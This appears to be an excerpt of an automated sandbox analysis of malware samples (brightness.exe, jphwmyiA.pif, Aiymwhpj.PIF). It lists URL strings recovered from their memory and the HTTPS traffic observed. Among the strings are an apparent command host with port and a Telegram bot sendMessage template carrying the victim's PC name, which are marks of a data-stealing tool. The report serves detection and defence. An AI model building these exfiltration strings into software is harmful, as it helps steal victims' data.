Source: jphwmyiA.pif, 0000000A.00000002.3763255345.00000000237D4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.00000000237D4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002569C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: brightness.exe, 00000007.00000003.2123550803.000000007F3EF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2161107303.0000000021426000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2161329052.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163281507.0000000021700000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2128046542.000000007F3AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2162496281.00000000215F2000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif.7.dr	String found in binary or memory: http://ocsp.comodoca.com0$
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.00000000237D4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: brightness.exe, 00000007.00000003.2123550803.000000007F3EF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2161107303.0000000021426000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2161329052.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163281507.0000000021700000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2128046542.000000007F3AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2162496281.00000000215F2000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif.7.dr	String found in binary or memory: http://www.pmail.com0
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211D4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20a
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022893000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.000000002289D000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021170000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C221000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022893000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228C7000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.000000002284D000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.000000002289D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.00000000237D4000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3763255345.0000000023850000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2469665166.0000000023860000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3765263149.000000001F260000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3766205555.000000002562B000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2643241704.0000000025639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: jphwmyiA.pif, 0000000A.00000003.3668623512.00000000223F4000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3760427867.000000001D4A5000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3761096680.0000000023AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53604
Source: unknown	Network traffic detected: HTTP traffic on port 53591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53689
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53643
Source: unknown	Network traffic detected: HTTP traffic on port 53636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 53779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53657
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53731
Source: unknown	Network traffic detected: HTTP traffic on port 53744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53582
Source: unknown	Network traffic detected: HTTP traffic on port 53677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 53696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53705
Source: unknown	Network traffic detected: HTTP traffic on port 53734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53701
Source: unknown	Network traffic detected: HTTP traffic on port 53795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53667
Source: unknown	Network traffic detected: HTTP traffic on port 53644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53788
Source: unknown	Network traffic detected: HTTP traffic on port 53667 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53591
Source: unknown	Network traffic detected: HTTP traffic on port 53657 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53716
Source: unknown	Network traffic detected: HTTP traffic on port 53731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53636
Source: unknown	Network traffic detected: HTTP traffic on port 53756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53718
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53795
Source: unknown	Network traffic detected: HTTP traffic on port 53643 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53677
Source: unknown	Network traffic detected: HTTP traffic on port 53612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53637 -> 443

